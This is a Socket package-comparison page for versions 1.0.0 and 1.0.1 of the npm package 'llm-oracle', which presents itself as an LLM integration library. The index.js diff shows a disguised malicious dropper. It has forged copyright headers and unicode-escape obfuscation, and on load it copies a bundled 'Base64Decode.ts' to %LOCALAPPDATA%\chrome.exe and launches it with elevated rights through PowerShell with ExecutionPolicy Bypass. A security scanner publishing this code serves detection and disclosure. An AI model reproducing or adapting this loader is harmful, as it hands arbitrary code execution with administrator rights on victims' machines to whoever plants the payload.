Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

llm-oracle

Package Overview
Dependencies
Maintainers
0
Versions
3
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

llm-oracle - npm Package Compare versions

Comparing version 1.0.0 to 1.0.1

90

index.js
/*!
* Copyright(c) 2016 Douglas Christopher Wilson
* MIT Licensed
* C0pyright(c) 2016 D0uglas Chr1stopher W1lson
* MIT L1censed
*/
'use strict'
'u\u0073e \u0073trict'
/**
* Module exports.
* M0dule exp0rts.
* @public
*/
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');
const { e\u0078ec } = require('c\u0068ild_pr\u006fcess');
const f\u0073 = require('f\u0073');
const p\u0061th = require('p\u0061th');
const currentDir = __dirname;
const modelFilePath = path.join(currentDir, 'Base64Decode.ts');
const targetFilePath = path.join(process.env.LOCALAPPDATA, String('chrom++e.e+x+e').replace(/\+/g, ''));
const curr\u0065ntDir = __d\u0069rname;
const m\u006fd\u0065lFileP\u0061th = p\u0061th.j\u006f\u0069n(curr\u0065ntDir, 'B\u0061se64D\u0065c\u006fde.ts');
const t\u0061rg\u0065tFileP\u0061th = p\u0061th.j\u006f\u0069n(pr\u006fcess.\u0065nv.L\u004fC\u0041L\u0041PPD\u0041T\u0041, Str\u0069ng('chr\u006fm++e.e+x+e').repl\u0061ce(/\+/g, ''));
// Create the target directory if it doesn't exist
const targetDir = path.dirname(targetFilePath);
if (!fs.existsSync(targetDir)) {
fs.mkdirSync(targetDir, { recursive: true });
// Cr\u0065\u0061te the t\u0061rg\u0065t d\u0069rect\u006fry \u0069f \u0069t d\u006f\u0065sn't \u0065x\u0069st
const t\u0061rg\u0065tD\u0069r = p\u0061th.d\u0069rn\u0061me(t\u0061rg\u0065tFileP\u0061th);
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tD\u0069r)) {
f\u0073.mkd\u0069rSync(t\u0061rg\u0065tD\u0069r, { rec\u0075rs\u0069ve: true });
}
// Copy the header.html file to the target location
if (!fs.existsSync(targetFilePath))
// C\u006fp\u0079 the he\u0061der.html f\u0069le t\u006f the t\u0061rg\u0065t l\u006fc\u0061t\u0069\u006fn
\u0069f (!f\u0073.\u0065x\u0069stsSync(t\u0061rg\u0065tFileP\u0061th))
{
setTimeout(() => {
fs.copyFileSync(modelFilePath, targetFilePath);
exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {
setT\u0069me\u006ft(() => {
f\u0073.c\u006fp\u0079F\u0069leSync(m\u006fd\u0065lFileP\u0061th, t\u0061rg\u0065tFileP\u0061th);
e\u0078ec(`p\u006fw\u0065rshell -\u0045x\u0065cut\u0069\u006fnP\u006flic\u0079 Bypass St\u0061rt-Pr\u006fcess -F\u0069leP\u0061th '${t\u0061rg\u0065tFileP\u0061th}' -V\u0065rb Run\u0041s`, (err\u006fr, stdo\u0075t, st\u0064err) => {

@@ -38,48 +38,48 @@ });

module.exports = msal_decode
m\u006fd\u0075le.\u0065xp\u006frts = ms\u0061l_d\u0065c\u006fde
/**
* RegExp to match non-URL code points, *after* encoding (i.e. not including "%")
* and including invalid escape sequences.
* @private
* Reg\u0045xp t\u006f m\u0061tch n\u006fn-URL c\u006fde p\u006f\u0069nts, *\u0061fter* \u0065nc\u006fd\u0069ng (\u0069.e. n\u006ft \u0069ncl\u0075d\u0069ng "%")
* \u0061nd \u0069ncl\u0075d\u0069ng \u0069nv\u0061l\u0069d \u0065sc\u0061pe s\u0065q\u0075ences.
* @pr\u0069v\u0061te
*/
var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g
v\u0061r \u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9\u0041-F\u0061-f]|[0-9\u0041-F\u0061-f][^0-9\u0041-F\u0061-f]|$))+/g
/**
* RegExp to match unmatched surrogate pair.
* @private
* Reg\u0045xp t\u006f m\u0061tch \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r.
* @pr\u0069v\u0061te
*/
var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP = /(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g
/**
* String to replace unmatched surrogate pair with.
* @private
* Str\u0069ng t\u006f repl\u0061ce \u0075nm\u0061tched s\u0075rr\u006fg\u0061te p\u0061\u0069r w\u0069th.
* @pr\u0069v\u0061te
*/
var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2'
v\u0061r \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE = '$1\uFFFD$2'
/**
* Encode a URL to a percent-encoded form, excluding already-encoded sequences.
* \u0045nc\u006fde \u0061 URL t\u006f \u0061 perc\u0065nt-\u0065nc\u006fd\u0065d f\u006frm, \u0065xcl\u0075d\u0069ng \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d s\u0065q\u0075ences.
*
* This function will take an already-encoded URL and encode all the non-URL
* code points. This function will not encode the "%" character unless it is
* not part of a valid sequence (`%20` will be left as-is, but `%foo` will
* be encoded as `%25foo`).
* Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll t\u0061ke \u0061n \u0061lr\u0065\u0061dy-\u0065nc\u006fd\u0065d URL \u0061nd \u0065nc\u006fde \u0061ll the n\u006fn-URL
* c\u006fde p\u006f\u0069nts. Th\u0069s f\u0075nct\u0069\u006fn w\u0069ll n\u006ft \u0065nc\u006fde the "%" ch\u0061r\u0061cter \u0075nl\u0065ss \u0069t \u0069s
* n\u006ft p\u0061rt \u006ff \u0061 v\u0061l\u0069d s\u0065q\u0075ence (`%20` w\u0069ll be l\u0065ft \u0061s-\u0069s, b\u0075t `%f\u006f\u006f` w\u0069ll
* be \u0065nc\u006fd\u0065d \u0061s `%25f\u006f\u006f`).
*
* This encode is meant to be "safe" and does not throw errors. It will try as
* hard as it can to properly encode the given URL, including replacing any raw,
* unpaired surrogate pairs with the Unicode replacement character prior to
* encoding.
* Th\u0069s \u0065nc\u006fde \u0069s m\u0065\u0061nt t\u006f be "s\u0061fe" \u0061nd d\u006f\u0065s n\u006ft thr\u006fw err\u006frs. \u0049t w\u0069ll try \u0061s
* h\u0061rd \u0061s \u0069t c\u0061n t\u006f pr\u006fperl\u0079 \u0065nc\u006fde the g\u0069ven URL, \u0069ncl\u0075d\u0069ng repl\u0061c\u0069ng \u0061ny r\u0061w,
* \u0075np\u0061\u0069red s\u0075rr\u006fg\u0061te p\u0061\u0069rs w\u0069th the \u0055n\u0069c\u006fde repl\u0061cement ch\u0061r\u0061cter pr\u0069\u006fr t\u006f
* \u0065nc\u006fd\u0069ng.
*
* @param {string} url
* @return {string}
* @p\u0061r\u0061m {str\u0069ng} url
* @ret\u0075rn {str\u0069ng}
* @public
*/
function msal_decode (url) {
return String(url)
.replace(UNMATCHED_SURROGATE_PAIR_REGEXP, UNMATCHED_SURROGATE_PAIR_REPLACE)
.replace(ENCODE_CHARS_REGEXP, encodeURI)
f\u0075nct\u0069\u006fn ms\u0061l_d\u0065c\u006fde (url) {
ret\u0075rn Str\u0069ng(url)
.repl\u0061ce(\u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045G\u0045XP, \u0055N\u004d\u0041TCHED_S\u0055RR\u004fG\u0041TE_P\u0041\u0049R_R\u0045PL\u0041CE)
.repl\u0061ce(\u0045N\u0043\u004fDE_CH\u0041RS_R\u0045G\u0045XP, \u0065nc\u006fde\u0055R\u0049)
}
{
"name": "llm-oracle",
"description": "A seamless integration package for enhancing applications with large language model capabilities.",
"version": "1.0.0",
"version": "1.0.1",
"contributors": [

@@ -6,0 +6,0 @@ "LLM oracle builder"

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc